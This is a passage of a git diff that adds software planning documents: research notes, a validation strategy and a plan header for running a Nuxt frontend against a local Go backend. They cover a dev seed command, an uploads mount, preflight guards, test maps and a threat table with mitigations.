+- token: when `DEV_SEED_API_TOKEN` is set (must start with the configured prefix), upsert the row by `HashAPIToken(secret)`. Otherwise mint once under the fixed name `dev-seed-mcp`, print the secret only at creation, and on later runs print "token exists, secret not shown";
+- `search_use_typesense`: `UPDATE … SET search_use_typesense = true WHERE id = 1 AND NOT search_use_typesense`, done last.
+
+Print a summary line per entity (`created`/`unchanged`) so the idempotency test can assert on output as well as rows.
+
+### Pattern 2: `/storage` mount (G2)
+
+Register `GET /storage/app/uploads/public/{path...}` (better: the configured `storage.uploads.public_path_prefix` + `/{path...}`) in a raw group. The handler resolves `*blob.Bucket` and `*gorm.DB` via `app.Lookup` **per request** (the boot order precedent in `plugin.go:177-187`; `route:list` builds the router without a DB) and delegates to `attach.StaticHandlerPublic(bucket, prefix, gdb)`. Add `X-Content-Type-Options: nosniff`, because uploads are served same-origin with the app (see the static.go:24-25 warning). Two placements are possible: framework (opt-in config, reused by Phase 20) or fonoteka plugin. See Open Question 2.
+
+### Pattern 3: dev-only marker route
+
+Registered in the fonoteka plugin's `Routes()` only if `p.app.Config.Environment() != "production"`. It returns the fixed JSON in Q5. Unit test: present under `local`, absent (404 from the assembled router) under `production`, and absent from `parity/manifest.yaml`.
+
+### Pattern 4: fail-closed guard as a standalone subcommand
+
+`dev-stack.sh preflight` runs every guard check without starting anything and exits non-zero with a `refuse: …` line. `up` calls it before `pnpm dev`. That lets `check-phase14.2.sh --guard` test it directly:
+- `NUXT_DEV_BACKEND_ORIGIN=http://127.0.0.1:8422` → refuse (port rule; no network needed);
+- `NUXT_INTERNAL_API_ORIGIN` unset → refuse;
+- origin `https://plytarium.com` → refuse (non-loopback);
+- a fake PHP on a random port (`python3 -c` http.server that answers with `X-Powered-By: PHP/8.5.10` and 404) → refuse;
+- the real Go on `:8423` → pass.
+
+### Pattern 5: process supervision in `dev-stack.sh`
+
+Run `serve` and `pnpm dev` in the background with `… > >(sed 's/^/[go] /' | tee -a "$LOG/go.log") 2>&1 &`, record PIDs in `tmp/dev-stack/pids`, and `trap 'kill $(jobs -p)' EXIT INT TERM`. Wait for readiness by polling the marker (Go) and `http://localhost:3119/` (Nuxt) with a timeout. `tmp/` is already gitignored in `fonoteka.go` [VERIFIED: .gitignore `/tmp/`]. Provide `down` to kill recorded PIDs.
+
+### Pattern 6: `runTinker` switch (D-14)
+
+```ts
+// tests/e2e/helpers/runTinker.ts — additions only; PHP path untouched
+const GO = process.env.E2E_BACKEND === 'go'
+function goCwd() { return process.env.E2E_GO_DIR || path.resolve(path.dirname(process.env.E2E_GO_BIN!), '..') }
+export function backendAvailable(): boolean {
+  if (GO) return !!process.env.E2E_GO_BIN && existsSync(process.env.E2E_GO_BIN)
+  /* existing php artisan --version probe unchanged */
+}
+export function runTinker(phpScript: string): string {
+  if (GO) throw new Error('[runTinker] PHP tinker is not available with E2E_BACKEND=go; use seedE2EFixtures()')
+  /* unchanged */
+}
+export function seedE2EFixtures(): void {
+  if (GO) { // fail closed: throws on non-zero exit
+    execFileSync(process.env.E2E_GO_BIN!, ['dev:seed'], { cwd: goCwd(), env: { ...process.env }, stdio: 'inherit' })
+    return
+  }
+  /* unchanged PHP path */
+}
+```
+
+Optionally call `seedE2EFixtures()` from `auth.setup.ts` only `if (process.env.E2E_BACKEND === 'go')`, so a Playwright run is self-sufficient on Go and unchanged on PHP.
+
+### Anti-Patterns to Avoid
+- **Probing a framework path Nuxt does not proxy** for the post-start check. It would prove nothing about the proxy.
+- **Opening the DB with `lagoon.Open`/`OpenFromApp` but skipping `lagoon.Publish`.** The OnDatabase slug and credential hooks never register, and the seeded collections and albums get empty slugs.
+- **Seeding albums through the HTTP handlers or with broadcasting on.** That queues River broadcast and wishlist-digest jobs from a CLI process.
+- **Writing `vue-fonoteka-app/.env`** (forbidden by D-08), or relying on `tests/e2e/.env.local` values (they may point at `:8422`).
+- **Treating a Playwright skip as a pass** (G7).
+- **Using `~/go/bin/summer`** (stale, and not on PATH for scripts).
+
+## Don't Hand-Roll
+
+| Problem | Don't Build | Use Instead | Why |
+|---------|-------------|-------------|-----|
+| Serving uploads | custom file server / `http.FileServer` on the storage dir | `attach.StaticHandlerPublic` | Validated 4-segment keys, `..` rejection, `is_public` gate, thumb sibling handling (T-05-13) |
+| Password hashing | direct bcrypt calls | `usercontrollers.RegisterUser` / `bouncer.HashPassword(cost, plain)` | Honors `golem15.user.password.bcrypt_cost` and the model rules |
+| Token minting | random string + sha256 by hand | `userclasses.MintAPIToken` + `HashAPIToken` | Prefix validation, scope allow-list, stored hash format |
+| Collection/wishlist creation | raw INSERTs (as the parity seed does) | `ProvisionCollection` / `ProvisionWishlist` | Context row, lock order, column defaults (`reservations_allowed`) |
+| Album creation | raw INSERT into `golem15_fonoteka_albums` | `CreateAlbum` | Field fill rules, artists and styles pivots, completion stamp, slug hooks |
+| Centrifugo health | curl `/api/info` by hand | `bin/fonoteka websockets:health` | Already reads the same config/env and exits 1 on failure |
+| go test result parsing | grep for `PASS` | the `detect()` python block from check-phase14.2.1.sh | Catches skips, zero tests, races and missing named tests |
+
+## Common Pitfalls
+
+### Pitfall 1: Plugin command silently has no DB (G1)
+**What goes wrong:** `dev:seed`/`fonoteka:reindex` exits 1 with `database is not configured`, even though unit tests pass (the tests pre-publish the DB).
+**How to avoid:** open and publish inside the command. Add a unit test that runs the command on an app **without** a published DB but with `database.dsn` pointing at the testcontainer.
+**Warning signs:** the error text above in the script output.
+
+### Pitfall 2: Gate specs skip instead of fail (G7)
+**What goes wrong:** with `E2E_BACKEND_URL` unset, `fonotekaReachable()` probes `:8422`. If PHP is down the backend specs skip, and if PHP is up they run against a Nuxt that may still target Go (a mismatch).
+**How to avoid:** export `E2E_BACKEND_URL=http://127.0.0.1:8423`, and fail on `stats.skipped > 0` for gate files.
+
+### Pitfall 3: Typesense silently bypassed (G8/G9)
+**What goes wrong:** search works through the SQL fallback while the Typesense key or index is wrong.
+**How to avoid:** `search_use_typesense=true` in the seed, reindex in the script, grep `go.log` for `album search engine failed` in `--e2e`.
+
+### Pitfall 4: Centrifugo origin and proxy mismatch
+**What goes wrong:** the WS handshake is rejected silently (the origin is not allowed, for example `127.0.0.1:3119` vs `localhost:3119`), or `collection:{id}` subscribes are denied because the shared Centrifugo proxies to PHP or has a different `X-Centrifugo-Secret`.
+**How to avoid:** allow both origins. Make sure the HMAC secret, API key and proxy secret match `.env.dev`. Point the subscribe proxy at `:8423` (Open Question 1).
+*Superseded by D-18:* there is no subscribe proxy and no proxy secret on the shared instance. The remaining risks are the origin (add both `http://localhost:3119` and `http://127.0.0.1:3119` to `client.allowed_origins`, operator step) and a mismatched HMAC secret or API key in `.env.dev` (the script's `check` reports a rejected key).
+
+### Pitfall 5: cwd-relative config and bucket
+**What goes wrong:** `bin/fonoteka` run from another directory finds no `config/` or writes covers under the wrong directory.
+**How to avoid:** always `cd "$APP"` (script) or `cwd: E2E_GO_DIR` (Playwright helper).
+
+### Pitfall 6: Nuxt binds a different port or host
+**What goes wrong:** the nuxt.config comment notes that if 3119 is taken "the Nuxt listener silently falls back to another port (often :3000)" (nuxt.config.ts:47-50). Playwright `reuseExistingServer` then probes the wrong server.
+**How to avoid:** the preflight refuses if `:3119` is already listening, and the post-start probe targets `:3119` explicitly.
+
+### Pitfall 7: Submodule pointer drift swept into commits (G13)
+**How to avoid:** stage explicit paths only. Never `git add -A` in `fonoteka.go`.
+
+### Pitfall 8: Access log leaking secrets
+**What goes wrong:** raw paths carry share tokens (`/_fonoteka/api/v1/public/{token}`, `/invitations/{token}`) and query strings may carry `?token=`.
+**How to avoid:** log `r.Pattern` (Go 1.22+ ServeMux exposes the matched pattern) instead of the raw path for matched routes. For unmatched requests (404, which is exactly what D-12 wants to spot) log the raw path **without** the query string, and keep it behind an opt-in flag. Sunscreen does not scrub path segments.
+
+## Code Examples
+
+### Opening DB + bucket in a plugin command (pattern from serve/lagoon)
+```go
+// Source: summercms.go/modules/surf/serve.go:40-52 and lagoon/commands.go:230-240
+sqlDB, gdb, err := lagoon.OpenFromApp(ctx, app)
+if err != nil { return err }
+defer sqlDB.Close()
+if err := lagoon.Publish(app, sqlDB, gdb); err != nil { return err } // runs OnDatabase hooks (slugs)
+bucket, err := attach.OpenBucket(ctx, app.Config)
+if err != nil { return err }
+defer bucket.Close()
+if err := attach.Publish(app, bucket); err != nil { return err }
+```
+
+### Env refusal
+```go
+// Source: compass/config.go:193-199 (SUMMER_ENV, default "production")
+switch strings.ToLower(strings.TrimSpace(app.Config.Environment())) {
+case "local", "dev":
+default:
+	return fmt.Errorf("dev:seed: refused in environment %q (set SUMMER_ENV=local)", app.Config.Environment())
+}
+```
+
+### Albums without broadcasts
+```go
+// Source: lighthouse/suppress.go:19; classes/album_write_service.go:378
+err := lighthouse.WithoutBroadcasting[models.Album](ctx, func(ctx context.Context) error {
+	return lagoon.Transaction(ctx, gdb, func(ctx context.Context, tx *gorm.DB) error {
+		a, err := classes.CreateAlbum(ctx, tx, colID, map[string]any{"name": "Kind of Blue", "year": 1959, "format": "LP"})
+		_ = a
+		return err
+	})
+})
+```
+
+## State of the Art
+
+| Old Approach | Current Approach | When Changed | Impact |
+|--------------|------------------|--------------|--------|
+| Realtime demo badge on `/` (`realtime-status`) | Dashboard composition; realtime is invisible plumbing (`useRealtimeSync`) | 2026-06-12 (6fcdb8e) | `realtime.spec.ts` must assert the WS connection or a cross-session update, not a badge |
+| PHP tinker seeding helper | Go `dev:seed` behind `E2E_BACKEND=go` | this phase | PHP path unchanged |
+| Centrifugo v5 flat keys (`token_hmac_secret_key`, `allowed_origins`, `api_key`) | v6 nested (`client.token.hmac_secret_key`, `client.allowed_origins`, `http_api.key`) | Centrifugo v6 | Docs and templates must use v6 keys; the local server is v6.5.1 |
+
+## Assumptions Log
+
+| # | Claim | Section | Risk if Wrong |
+|---|-------|---------|---------------|
+| A1 | The shared Centrifugo at `/etc/centrifugo/config.json` has its subscribe proxy pointed at PHP (`:8422`), with secrets that may differ from what Go will use | G12, Q7, OQ1 | Realtime subscribes are denied on Go. Medium impact: realtime is a manual-session item and a gate spec. **WRONG, superseded by D-18:** the inspected config has no subscribe or connect proxy; the secrets are shared with Go through `.env.dev`. |
+| A2 | `php artisan serve` on the PHP checkout answers the marker path with a 404 (any body) | Q5 | Low: the X-Powered-By check and the `.backend=="summercms"` check each refuse independently |
+| A3 | `localhost:3119` in the browser and Playwright reaches the Nuxt dev listener on both IPv4 and IPv6 | Q2 | Low: probes fail visibly |
+| A4 | Setting `app.url` to `http://localhost:3119` locally is right (frontend links such as activation and CSV export URLs) | .env.dev keys | Low: affects emails/links only. The OAuth issuer for local MCP OAuth would be wrong, but MCP OAuth is out of scope locally (personal token only). |
+| A5 | 3–5 seeded albums plus 1 wishlist album are enough for the i18n count, offline covers and the manual session | Pattern 1 | Low |
+| A6 | Rewriting `realtime.spec.ts` is acceptable under D-11 ("new backend-agnostic spec" / test helper) | Q1 | Low. If not, add `realtime-live.spec.ts` and mark the stale one report-only. Confirm with the user. **Settled by D-21:** rewrite it as a backend-agnostic spec verified on PHP and Go. |
+
+## Open Questions (RESOLVED)
+
+All four questions were answered at the planning checkpoint on 2026-10-07 (CONTEXT.md D-18..D-22). None is open.
+
+1. **Which Centrifugo does the local Go stack use?** RESOLVED by **D-18**.
+   - Resolution: the shared host Centrifugo (v6, systemd, `:8787`, `/etc/centrifugo/config.json`) is reused, the same topology as production. The operator inspected its config: HMAC connection tokens (`client.token.hmac_secret_key`), HTTP API key (`http_api.key`), top-level channels with `allow_subscribe_for_client: true`, and **no subscribe or connect proxy**. Assumption A1 was wrong, so PHP and Go can share the instance. Go needs only the same HMAC secret and API key in `.env.dev` (`SUMMER_REALTIME__CENTRIFUGO__TOKEN_SECRET`, `SUMMER_REALTIME__CENTRIFUGO__API_KEY`, `SUMMER_REALTIME__CENTRIFUGO__API_URL=http://127.0.0.1:8787/api`). No dedicated Centrifugo is started. Adding `http://localhost:3119` to `client.allowed_origins` and restarting the service is a documented operator step that the script never performs; its preflight checks reachability and warns about a missing origin.
+   - Planned in: plan 02 (`check_services` reachability, key and origin probe; README operator step; the env-file checkpoint), plan 03 Task 2 (operator checkpoint) and Task 3 (`realtime.spec.ts`).
+   - *Superseded by D-18:* the original research recommendation, a dedicated Centrifugo started by `dev-stack.sh` on another port with a subscribe proxy at `:8423`, was rejected. It rested on A1.
+2. **Where does the `/storage` mount live: framework or app?** RESOLVED by **D-19**.
+   - Resolution: framework opt-in in `summercms.go` surf behind the config key `storage.uploads.serve` (default false), mounting `attach.StaticHandlerPublic` at `storage.uploads.public_path_prefix` with `X-Content-Type-Options: nosniff`; Phase 20 reuses it; module README and docs updated in the same change.
+   - Planned in: plan 01 Task 1 (mount and docs), plan 02 Task 2 (`config/storage.yaml` default, `.env.dev.example` sets it true locally), plan 04 Task 2 (`TestUploadsMount`).
+3. **Access-log placement and key name.** RESOLVED in **plan 01 Task 3** (within D-12 and D-22, which name the opt-in access log; the key name was left to the planner).
+   - Resolution: unexported `surf` middleware enabled by `http.access_log: true` (env `SUMMER_HTTP__ACCESS_LOG`), default off, logging `method`, `pattern`, `status`, `duration_ms`, plus `path` without its query string only for unmatched requests, through the published `*slog.Logger` or `slog.Default()` (sunscreen).
+   - Planned in: plan 01 Task 3, plan 02 Task 2 (`config/http.yaml` default), plan 04 Task 2 (`TestAccessLog`).
+4. **Fix `user:token:*` (shared sm-user-plugin) for G1 now?** RESOLVED: no.
+   - Resolution: the shared plugin is not changed (core-plugin rule); the seed mints its own token. The gap is recorded as the todo `.planning/todos/pending/user-plugin-commands-open-database.md` (plan 01 Task 2). The related question about rewriting the stale `realtime.spec.ts` (A6) is settled by D-21.
+
+## Environment Availability
+
+| Dependency | Required By | Available | Version | Fallback |
+|------------|------------|-----------|---------|----------|
+| Postgres (host) | Go DB | ✓ `127.0.0.1:5432 - accepting connections` | (auth required; Go DB/DSN not inspected) | Docker PG containers on 55432/55433/55415 exist |
+| Typesense | search, reindex | ✗ container `plytarium-typesense-instance` (typesense:26.0) **Exited**, binds 127.0.0.1:8181 | 26.0 | `docker start plytarium-typesense-instance` (no fallback per D-06) |
+| Centrifugo | realtime | ✓ running (systemd, `*:8787`) | v6.5.1 | none: the shared instance is reused (*superseded by D-18*; the dedicated-instance fallback was rejected) |
+| Go | build/test | ✓ | go1.27.0 | — |
+| Docker | testcontainers in Go tests | ✓ | — | — |
+| Node / pnpm | Nuxt, Playwright | ✓ | v22.23.2 (`.nvmrc` 22.22.0) / pnpm 11.3.0 | — |
+| Playwright browsers | e2e | ✓ chromium 1169–1223 in `~/.cache/ms-playwright` | @playwright/test ^1.60.0 | — |
+| python3, jq, curl | scripts | ✓ | — | — |
+| `summer` CLI | `summer build` | ⚠ `~/go/bin/summer` (2026-10-05), not on PATH for scripts | — | build from `summercms.go/cmd/summer` in the script |
+| PHP (side-by-side check, D-11) | verify app edits on PHP | ✓ PHP 8.5.10, `expose_php On`; `:8422` currently down | 8.5.10 | — |
+
+**Missing dependencies with no fallback:** Typesense must be started (`docker start plytarium-typesense-instance`). Its API key must go into `.env.dev`.
+**Missing dependencies with fallback:** `summer` on PATH (build from source).
+
+## Validation Architecture
+
+### Test Framework
+
+| Property | Value |
+|----------|-------|
+| Framework | Go `testing` + testcontainers-go Postgres (existing harness, e.g. `console/phase14_commands_test.go`, `classes/postgres_test.go`); Playwright ^1.60 for e2e; `node --test` for Nuxt contracts |
+| Config file | none for Go; `vue-fonoteka-app/playwright.config.ts`; `vitest.config.ts` (unit, not needed) |
+| Quick run command | `go -C ../fonoteka.go test ./plugins/golem15/fonoteka/console/ -run 'TestDevSeed' -count=1` |
+| Full suite command | `bash scripts/check-phase14.2.sh --all` (from `summercms.go`) |
+
+### Phase Requirements → Test Map
+
+| Req ID | Behavior | Test Type | Automated Command | File Exists? |
+|--------|----------|-----------|-------------------|-------------|
+| QA-05 | `dev:seed` refuses outside local/dev (unset SUMMER_ENV → production) | unit | `go -C ../fonoteka.go test ./plugins/golem15/fonoteka/console/ -run TestDevSeedRefusesProduction -count=1` | ❌ Wave 0 (last plan) |
+| QA-05 | `dev:seed` idempotent: second run creates no rows (counts per table equal), prints `unchanged` | unit (testcontainers) | `… -run TestDevSeedIdempotent` | ❌ |
+| QA-05 | created shape: activated user with E2E creds, context collection, ≥3 albums with one photo each (blob exists in mem/file bucket), wishlist album, `inv_` token row, `search_use_typesense=true` | unit | `… -run TestDevSeedShape` | ❌ |
+| QA-05 | seed opens its own DB (no pre-published handle) | unit | `… -run TestDevSeedOpensDatabase` | ❌ |
+| QA-05 | `fonoteka:reindex` opens its own DB (G1) | unit | `… -run TestReindexOpensDatabase` | ❌ |
+| QA-05 | marker route 200 JSON in local, absent in production, not in manifest | unit | `go -C ../fonoteka.go test ./plugins/golem15/fonoteka/ -run TestDevMarkerRoute` | ❌ |
+| QA-05 | `/storage/app/uploads/public/...` serves a public blob, 404s private/missing/traversal, sets nosniff | unit | `go test ./modules/surf/ -run TestUploadsMount` (or plugin path if app-level) | ❌ |
+| QA-05 | access log off by default; on: logs pattern+status, never query string or tokens | unit | `go test ./modules/surf/ -run TestAccessLog` | ❌ |
+| QA-05 | guard refuses `:8422`, unset internal origin, non-loopback, fake PHP | script | `bash scripts/check-phase14.2.sh --guard` | ❌ |
+| QA-05 | runTinker switch: PHP path byte-unchanged when unset; Go path calls `dev:seed` | contract | `pnpm test:contracts` (new `tests/contracts/e2e-backend-switch.test.mjs`) | ❌ |
+| QA-05 | core flows on Go (login, browse, search, edit, rate, cover, wishlist, realtime, i18n, public share) | e2e | `bash scripts/check-phase14.2.sh --e2e` | ❌ (new specs in plan 3) |
+| QA-05 | signed-in manual session incl. realtime between two sessions | manual | UAT checklist (14.2-UAT.md) | manual-only: realtime across two real browsers and visual cover checks |
+
+### Sampling Rate
+- **Per task commit:** the quick `go test` for the touched package, plus `go vet` on the touched modules.
+- **Per wave merge:** `bash scripts/check-phase14.2.sh --go` (+ `--docs` when framework modules changed).
+- **Phase gate:** `bash scripts/check-phase14.2.sh --all` green (needs services up), then `/gsd-verify-work`.
+
+### Wave 0 Gaps
+- [ ] `fonoteka.go/plugins/golem15/fonoteka/console/dev_seed_test.go`: refusal, idempotency, shape, own-DB.
+- [ ] `fonoteka.go/plugins/golem15/fonoteka/console/reindex` own-DB test.
+- [ ] marker route test in the fonoteka plugin package.
+- [ ] `summercms.go/modules/surf` tests for the access log and uploads mount (if framework-level).
+- [ ] `vue-fonoteka-app/tests/contracts/e2e-backend-switch.test.mjs`.
+- [ ] `summercms.go/scripts/check-phase14.2.sh`.
+- Framework install: none.
+
+## Security Domain
+
+### Applicable ASVS Categories
+
+| ASVS Category | Applies | Standard Control |
+|---------------|---------|-----------------|
+| V2 Authentication | yes (seeded credentials, token) | Credentials only from env (`E2E_*`, `DEV_SEED_API_TOKEN`); bcrypt via `RegisterUser`; the token stored as a sha256 hash (`HashAPIToken`); the seed refuses in production |
+| V3 Session Management | no change | existing JWT cookie flow |
+| V4 Access Control | yes | Marker route env-gated (absent in production); `/storage` uses the `is_public` gate (`StaticHandlerPublic`) |
+| V5 Input Validation | yes | Upload paths validated by `parsePublicBlobPath` (`..`, empty segments, partition match) |
+| V6 Cryptography | no hand-rolling | `crypto/rand` inside `MintAPIToken`; app key from `key:generate` |
+| V7 Logging | yes | Access log through sunscreen. Log route patterns, not raw paths with tokens; no query strings. |
+| V14 Configuration | yes | `.env.dev` gitignored, `.env.dev.example` placeholders only; Go binds `127.0.0.1:8423`, not all interfaces |
+
+### Known Threat Patterns for this stack
+
+| Pattern | STRIDE | Standard Mitigation |
+|---------|--------|---------------------|
+| Seed run against production DB | Tampering | `SUMMER_ENV` must be `local`/`dev`; the default env is `production`, so refusal is the default |
+| Same-origin XSS via uploaded content served from `/storage` on the app origin | Elevation | `StaticHandlerPublic` + `X-Content-Type-Options: nosniff`; uploads are image-guarded at upload; the seed only writes PNG |
+| Secrets in logs (tokens in paths, Bearer headers) | Information disclosure | sunscreen + pattern-based access logging; never log headers |
+| Committing secrets (`.env.dev`, minted token) | Information disclosure | `.gitignore`; the token secret printed once to the terminal only; never written to the repo |
+| Backend identity disclosure via marker | Information disclosure | Route registered only outside production |
+| Dev server reachable from the LAN | Spoofing / exposure | `--addr 127.0.0.1:8423`; Centrifugo dedicated instance on loopback (*superseded by D-18*: no dedicated instance; the shared `:8787` instance is unchanged and the script never edits or restarts it) |
+
+## Sources
+
+### Primary (HIGH confidence, read or executed this session)
+- `fonoteka.go`: `plugins/golem15/fonoteka/{plugin.go, routes.go, realtime.go, search.go, console/reindex.go, classes/{onboarding,collection_provisioner,wishlist_resolver,album_write_service,album_files,album_search}.go, models/{settings,album_rating}.go, updates/20_remaining.go}`, `plugins/golem15/user/{models/user.go, models/api_token.go, classes/api_tokens.go, console/api_tokens.go, controllers/registration.go}`, `config/*.yaml`, `README.md`, `main.go`, `.gitignore`, `parity/{manifest.yaml, routes.snapshot, parity_contract_test.go, fonoteka_seed_test.go}`.
+- `summercms.go`: `modules/{surf/serve.go, surf/router.go, compass/config.go, compass/env.go, lagoon/connection.go, lagoon/commands.go, lagoon/attach/static.go, lagoon/attach/file.go, lighthouse/suppress.go, lighthouse/README.md, bonfire/command.go, conga/commands.go, sunscreen/README.md}`, `cmd/summer/main.go`, `scripts/check-phase14.2.1.sh`, `scripts/check-phase14.sh`.
+- `vue-fonoteka-app`: `nuxt.config.ts`, `playwright.config.ts`, `.env.example`, `tests/e2e/*.ts`, `tests/e2e/helpers/*.ts`, `app/plugins/api.ts`, `app/composables/useCentrifugo.ts`, grep of `app/` for test IDs; `node_modules/.pnpm/c12@3.3.4…/dist/index.mjs`.
+- Executed: freshly built `fonoteka` binary (`route:list`, `fonoteka:reindex`, `user:token:create`, `migrate:status`, `websockets:health`, `--help`); `docker ps -a`, `docker inspect`, `ss -ltnp`, `pg_isready`, `centrifugo version`, `php -i`.
+
+### Secondary (MEDIUM)
+- centrifugal.dev/docs/server/configuration and /docs/server/proxy (v6 key names; fetched via a summarizing tool, cross-checked against each other).
+
+### Tertiary (LOW)
+- None relied upon.
+
+## Metadata
+
+**Confidence breakdown:**
+- Go gaps and APIs: HIGH. Read the source and reproduced G1/G2 against a fresh build.
+- Nuxt/Playwright contract: HIGH. Read the config, specs and c12 source.
+- Centrifugo integration: MEDIUM. v6 keys cited from the docs; the shared instance's config could not be read (A1). *Superseded by D-18:* the operator inspected the config; A1 was wrong (no proxy).
+- Plan shape: MEDIUM. Depends on OQ1/OQ2 answers. *Resolved:* OQ1 by D-18, OQ2 by D-19, plan count fixed at 4 by D-22.
+
+**Suggested plan breakdown (for the plan-count checkpoint):**
+1. **Go glue** (`fonoteka.go` + `summercms.go`): `dev:seed` (env-gated, idempotent, own DB/bucket, generated covers, token, search flag), the reindex own-DB fix, the dev-only marker route, the `/storage` uploads mount, the opt-in surf access log, module READMEs/docs. Smoke tests only.
+2. **Stack script and docs** (`fonoteka.go`): `scripts/dev-stack.sh` (`preflight`/`up`/`down`/`status`, service checks naming the missing one, build from source, migrate → seed → reindex → serve → guard → `pnpm dev` with pinned env, labeled tee'd logs, post-start probe), `.env.dev.example`, `.gitignore`, run docs including the Centrifugo v6 snippet and MCP pointing.
+3. **Nuxt specs and manual session** (`vue-fonoteka-app`): the `E2E_BACKEND=go` switch (+ optional `auth.setup` hook), the `realtime.spec.ts` rewrite, new `album-edit-rate-cover`, `album-search` and `wishlist` specs (self-seeding, backend-agnostic, verified on PHP as well), `.env.example` notes; then the checklist-driven manual session recorded as UAT evidence.
+4. **Unit tests and gate** (last, per project rule): Go unit tests from the Validation map, the Nuxt contract test, `summercms.go/scripts/check-phase14.2.sh` (`--self-test`/`--go`/`--docs`/`--guard`/`--e2e`/`--all`).
+
+**Research date:** 2026-10-07
+**Valid until:** 2026-11-06 (stable internal code; re-check G1/G2 if framework commits land first)

.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-VALIDATION.md

@@ -0,0 +1,90 @@
+---
+phase: "14.2"
+slug: "local-fonoteka-frontend-on-local-summercms-backend"
+# status lifecycle: draft (seeded by plan-phase) → validated (set by validate-phase §6)
+# audit-milestone §5.5 distinguishes NOT-VALIDATED (draft) from PARTIAL (validated + nyquist_compliant: false) (#2117)
+status: draft
+nyquist_compliant: false
+wave_0_complete: false
+created: "2026-10-07"
+---
+
+# Phase 14.2 — Validation Strategy
+
+> Per-phase validation contract for feedback sampling during execution.
+
+---
+
+## Test Infrastructure
+
+| Property | Value |
+|----------|-------|
+| **Framework** | Go `testing` + testcontainers-go Postgres; Playwright ^1.60 (e2e); `node --test` (Nuxt contracts) |
+| **Config file** | none for Go; `vue-fonoteka-app/playwright.config.ts` |
+| **Quick run command** | `go -C ../fonoteka.go test ./plugins/golem15/fonoteka/console/ -run 'TestDevSeed' -count=1` |
+| **Full suite command** | `bash scripts/check-phase14.2.sh --all` (from `summercms.go`) |
+| **Estimated runtime** | ~300 seconds (full, with e2e); ~30 seconds (quick) |
+
+---
+
+## Sampling Rate
+
+- **After every task commit:** quick `go test` for the touched package plus `go vet` on the touched modules
+- **After every plan wave:** `bash scripts/check-phase14.2.sh --go` (+ `--docs` when framework modules changed)
+- **Before `/gsd-verify-work`:** `bash scripts/check-phase14.2.sh --all` green (services up)
+- **Max feedback latency:** 60 seconds (per-task)
+
+---
+
+## Per-Task Verification Map
+
+Filled in by the planner per task; requirement-level map from RESEARCH.md:
+
+| Behavior | Requirement | Test Type | Automated Command | File Exists | Status |
+|----------|-------------|-----------|-------------------|-------------|--------|
+| `dev:seed` refuses outside local/dev | QA-05 | unit | `go -C ../fonoteka.go test ./plugins/golem15/fonoteka/console/ -run TestDevSeedRefusesProduction -count=1` | ❌ W0 | ⬜ pending |
+| `dev:seed` idempotent | QA-05 | unit (testcontainers) | `… -run TestDevSeedIdempotent` | ❌ W0 | ⬜ pending |
+| `dev:seed` created shape (user, collection, albums+covers, wishlist, `inv_` token, typesense flag) | QA-05 | unit | `… -run TestDevSeedShape` | ❌ W0 | ⬜ pending |
+| seed and reindex open their own DB (G1) | QA-05 | unit | `… -run 'TestDevSeedOpensDatabase|TestReindexOpensDatabase'` | ❌ W0 | ⬜ pending |
+| marker route present in local, absent in production, not in manifest | QA-05 | unit | `go -C ../fonoteka.go test ./plugins/golem15/fonoteka/ -run TestDevMarkerRoute` | ❌ W0 | ⬜ pending |
+| `/storage/app/uploads/public/...` serves public blobs, 404s private/traversal, nosniff (G2) | QA-05 | unit | `go test ./modules/surf/ -run TestUploadsMount` | ❌ W0 | ⬜ pending |
+| access log opt-in, logs pattern+status only (G3) | QA-05 | unit | `go test ./modules/surf/ -run TestAccessLog` | ❌ W0 | ⬜ pending |
+| guard refuses `:8422`, unset internal origin, non-loopback, PHP answer | QA-05 | script | `bash scripts/check-phase14.2.sh --guard` | ❌ W0 | ⬜ pending |
+| runTinker switch: PHP path unchanged when unset | QA-05 | contract | `pnpm test:contracts` | ❌ W0 | ⬜ pending |
+| core flows on Go | QA-05 | e2e | `bash scripts/check-phase14.2.sh --e2e` | ❌ W0 | ⬜ pending |
+
+*Status: ⬜ pending · ✅ green · ❌ red · ⚠️ flaky*
+
+---
+
+## Wave 0 Requirements
+
+- [ ] `fonoteka.go/plugins/golem15/fonoteka/console/dev_seed_test.go` — refusal, idempotency, shape, own-DB
+- [ ] reindex own-DB test in `fonoteka.go/plugins/golem15/fonoteka/console/`
+- [ ] marker route test in the fonoteka plugin package
+- [ ] `summercms.go/modules/surf` tests for access log and uploads mount
+- [ ] `vue-fonoteka-app/tests/contracts/e2e-backend-switch.test.mjs`
+- [ ] `summercms.go/scripts/check-phase14.2.sh`
+
+Framework install: none.
+
+---
+
+## Manual-Only Verifications
+
+| Behavior | Requirement | Why Manual | Test Instructions |
+|----------|-------------|------------|-------------------|
+| Signed-in session covering all core flows, realtime across two browsers, visual cover check | QA-05 | D-13 requires one checklist-driven human session as UAT evidence | Follow the checklist in `14.2-UAT.md` against `scripts/dev-stack.sh up` |
+
+---
+
+## Validation Sign-Off
+
+- [ ] All tasks have `<automated>` verify or Wave 0 dependencies
+- [ ] Sampling continuity: no 3 consecutive tasks without automated verify
+- [ ] Wave 0 covers all MISSING references
+- [ ] No watch-mode flags
+- [ ] Feedback latency < 60s
+- [ ] `nyquist_compliant: true` set in frontmatter
+
+**Approval:** pending

.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/COVERAGE.md

@@ -0,0 +1 @@
+No external API integration: local-run glue around the Phase 14 Centrifugo and Typesense integrations; it adds only reachability probes plus a read-only Centrifugo namespace probe (server API `history`, D-23) and uses the existing publish and index paths unchanged.

.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/.gitkeep

@@ -0,0 +1 @@
+

.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-01-PLAN.md

@@ -0,0 +1,303 @@
+---
+phase: 14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new
+plan: 01
+type: execute
+wave: 1
+depends_on: []
+files_modified:
+  - internal/build/new.go
+  - internal/build/new_test.go
+  - internal/build/stubs/new.tmpl
+  - internal/build/stubs/plugin.tmpl
+  - internal/build/scaffold.go
+  - cmd/summer/main.go
+  - cmd/summer/main_test.go
+  - modules/lagoon/keygen.go
+  - modules/lagoon/README.md
+  - examples/hello/config/http.yaml
+  - README.md
+  - docs/setup/installation.md
+  - scripts/check-phase14.3.sh
+autonomous: true
+requirements: [D-01, D-02, D-03, D-04, D-05, D-06, D-07, D-08, D-09, D-10, D-11, D-12, D-22, D-23, D-24, D-25, D-27]
+estimate:
+  tokens: 150000
+  raw_tokens: 150000
+  tasks: 3
+  confidence: low
+must_haves:
